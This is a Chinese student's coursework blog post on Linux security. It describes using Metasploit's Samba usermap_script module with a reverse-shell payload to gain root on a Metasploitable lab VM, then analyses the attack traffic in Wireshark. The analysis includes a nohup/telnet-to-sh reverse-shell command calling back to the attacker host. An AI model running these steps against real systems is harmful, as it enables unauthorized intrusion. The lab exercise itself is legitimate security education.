20211919 《网络攻防实践》第七次作业

1.实践内容

(1)使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限。
(2)实践作业:攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。

1.1 Linux操作系统基本框架概述
Linux除了开源和免费外,还具备以下优势:跨平台硬件支持、丰富的软件支持、多用户多任务、可靠的安全性、良好的稳定性、完善的网络功能等。
Linux系统结构包括Linux进程与线程管理机制、Linux内存管理机制、Linux文件系统管理机制、Linux设备控制机制、Linux网络机制、Linux系统调用机制。

1.2 Linux操作系统安全机制
与Windows操作系统类似,Linux操作系统的核心安全机制也主要是身份认证、授权与访问控制、安全审计三部分。

Linux身份认证机制
Linux用户:root根用户、普通用户、系统用户
Linux用户组:具有相同特征的用户账号集合,用于简化系统的用户权限管理
Linux的本地登陆用户认证机制
Linux的远程登录用户认证机制
Linxu的统一身份认证中间件——PAM:PAM支持的四种管理界面:认证管理、账户管理、密码管理、会话管理
Linux授权访问控制机制
Linux虚拟文件系统安全模型中,主要通过文件所有者、文件访问权限和一些特殊权限位来尽心系统的授权与访问控制。

Linux授权与访问控制机制
在Linux的虚拟文件系统安全模型中,主要通过文件所有者、文件访问权限和一些特殊权限位来进行系统的授权与访问控制。

Linux安全审计机制
Linux安全审计机制主要通过三个主要日志(连接时间日志、进程统计日志、错误日志记录)子系统来实现,Linux系统事件日志在文件系统中的存储路径集中在/var/log目录。

  • 连接时间日志:由多个程序执行,把记录写入到/var/log/wtmp和/var/run/utmp,login等用户登 录程序负责更新wtmp和utmp文件,使系统管理员能够跟踪谁在何时登录到系统。
  • 进程统计日志:由系统内核执行,当一个进程终止时,为每个进程往进程统计文件中写一个纪录。 进程统计的目的是为系统中的基本服务提供命令使用统计。
  • 错误日志记录:由通用的日志记录服务syslogd(8)执行,各种系统守护进程、用户程序和内核通 过syslog向文件/var/log/messages报告值得注意的事件。

1.3 Linux系统远程攻防技术

1.3.1 Linux远程口令字猜测攻击
对Linux系统各种网络服务的身份认证过程所涉及的用户口令字进行猜测攻击,期望破解出某一服务真实有效的用户账户和口令,从而假冒该用户的身份进入系统。
支持攻击者进行自动化远程口令猜测工具有Brutus、THC Hydra、Cain and Abel等。
针对远程口令猜测攻击的最佳防御措施是使用不易猜中的强口令字,比如设置包含字母、字母和标点符号的8字符以上口令等。

1.3.2Linux网络服务远程渗透攻击
发掘Linux系统某个监听网络服务的安全漏洞并进行利用,在攻击目标服务进程中注入攻击负载模块代码进行执行,从而为攻击者提供本地Shell的访问权。
Linux系统中容易被远程渗透攻击的网络服务有:Linux内核中的网络协议栈实现,LAMP Web网站构建解决方案中的网络服务,FTP、Samba、NFS等文件共享服务,电子邮件收发服务,其他网络服务(OpeSSH、OpenSSL等)。
针对网络服务远程渗透攻击的安全防范措施有:禁用所有不必要网路服务、尽量选择更安全的网络协议与服务软件并使用最佳安全实践进行部署、及时更新网络服务版本、使用xinetd和防火墙为Linux网络服务添加网络访问控制机制、建立入侵检测与应急响应计划流程等。

1.3.3 攻击Linux客户端程序和用户
通过网页木马、发送欺诈邮件、提供特洛伊木马程序等技术和社会工程学手段,来攻击客户端程序和用户,由客户端软件或用户来安装和执行恶意程序,从而主动向攻击者打开Linux系统的大门。
互联网用户最常用的客户端程序主要为Web浏览器和电子邮件客户端,而Linux系统最易被攻击的是Mozilla出品的Firefox浏览器和Thunderbird电子邮件客户端软件。除了利用客户端程序中的安全漏洞实施渗透攻击之外,有经验的攻击者往往会通过对服务器管理员进行Google Hacking和社会工程学攻击。
针对客户端与用户攻击的安全防范措施有急事更新常用网络客户端软件、提高自身的抗欺骗能力避免社会工程学攻击等。

1.3.4 攻击Linux路由器和监听器
在Linux系统作为连接多个网络的路由器,或者打开“混杂模式” 实施网络嗅探的监听器时,可能遭受攻击者特意构造的数据包攻击,从而被攻击者取得访问权。
Linux系统上用来实施监听与入侵检测的主流开源软件包括Libpcap抓包库、tcpdump命令行程序、Wireshark网络监听与协议分析软件、Snort入侵检测系统等。
针对路由器与监听器攻击的安全防范措施有及时关注厂商的安全威胁报告并及时修补安全问题、在建设网络安全体系时多从攻击者角度思考问题并尝试渗透攻击测试以确保安全性、关注使用的安全设备与软件自身的安全性且及时修补等。

1.4 linux 系统本地安全攻防技术

linux本地提取
破解root用户的口令,用su或sudo提取;
发掘并利用su或sudo程序中的安全漏洞;
攻击用户态SUID特权提升漏洞:针对SUID程序的本地缓冲溢出攻击、针对SUID程序的符号链接攻击、针对SUID程序的竞争条件攻击、针对SUID程序的共享函数库的攻击;
攻击Linux内核代码特权提升漏洞;
从系统中搜索全局可写的敏感文件与目录位置并加以利用;
防范措施:及时进行特权代码和内核的升级以修补本地特权安全漏洞;避免使用root用户进行日常操作等。

linux上的消踪灭迹
主要审计日志机制在/var/log目录下,主要由系统核心进程、syslogd与各个网络服务提供事件审计功能。
改变当前活动的日志,往往查看/etc/syslog.cnf配置文件内容,系统对认证授权的记录。在/var/log/auth.log中,一些系统报警、信息、认证等日志在/var/log/messages文件中。
清理在Shell程序中所输入的命令历史记录。
防范措施:将日志信息写到难以修改的媒介。

linux系统远程控制后门程序
特洛伊木马化的系统程序、命令行后门工具以及图形化后门工具。

2.实践过程

2.1 使用Metasploit进行Linux远程渗透攻击

(1)使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限。

本次实验选择攻击机kali和靶机Metasploitable_ubuntu进行实验。在实验前要设置网络配置为VMnet8,保证处于一个局域网内。

主机 IP
kali 192.168.200.7
Metasploitable_ubuntu 192.168.200.33

首先通过输入sudo msfconsole指令进入操作台

然后通过search usermap_script查找漏洞信息,然后通过use exploit/multi/samba/usermap_script使用相关攻击脚本,接着使用show payloads查看payload类型。


接着使用set payload cmd/unix/reverse选择攻击PAYLOAD,反向连接。然后分别使用set LHOST IP(kali)set RHOST IP(Metasploitable_ubuntu)进行表示攻击机IP地址和靶机IP地址设置,设置完成后,使用exploit进行攻击。

攻击完成后,根据提示操作得到远程shell,并且使用ifconfig查询靶机IP,靶机IP成功获取。通过和靶机ifconfig查询结果对比,IP均为192.168.200.33,表明攻击成功。



最后我们使用cd /home/msfadmin进入msfadmin用户下,使用mkdir LN指令创建了LN目录。通过对比攻击机和靶机查询结果,发现远程创建目录成功,这说明我们已经获得了靶机的文档操作权。


再通过whoami查询,发现我们已经获得了root权限,而靶机仍然是非root账号登录,这表明提权成功。

2.2 攻防对抗实践

攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。

本任务选择攻击的漏洞为任务一所攻击漏洞,因此攻击操作与任务一相同,并且在上一实验中给出了如何获得root权限,此处不再赘述,下面主要对Wireshark抓包内容进行分析。
通过对Wireshark抓包分析,我们可以得到攻击者IP为192.168.200.7,目标IP为192.168.200.33,目标端口为139。经过查询可知139号端口是Unix中的Samba服务端口,可知攻击利用了Samba服务漏洞。攻击发起时间是从ARP协议的询问开始。

从第一个SMB数据包中找到shellcode如图所示。其中,nohup是no hang up的缩写,就是不挂断的意思,用nohup运行命令可以使命令永久的执行下去,和用户终端没有关系;telnet 192.168.200.7 4444表明数据是通过4444号通信端口管控传入攻击机的;sh是linux中运行shell的命令,是shell的解释器。

再通过进一步的tcp流分析,我们可以看到成功之后在本地执行命令的信息。

3.学习中遇到的问题及解决
1、上次实验的时候,将kali主机的网络配置为桥接模式,开始由于粗心没有改回VMnet8,导致kali与靶机ping不通。
2、在寻找shellcode时遇到一些问题,重新执行一次以后就正常找到了。
4.学习感想和体会
学习了linux远程渗透攻击,对Linux操作系统安全机制等有了进一步了解。

posted @ 2022-04-25 21:03  NingNa  阅读(67)  评论(0编辑  收藏  举报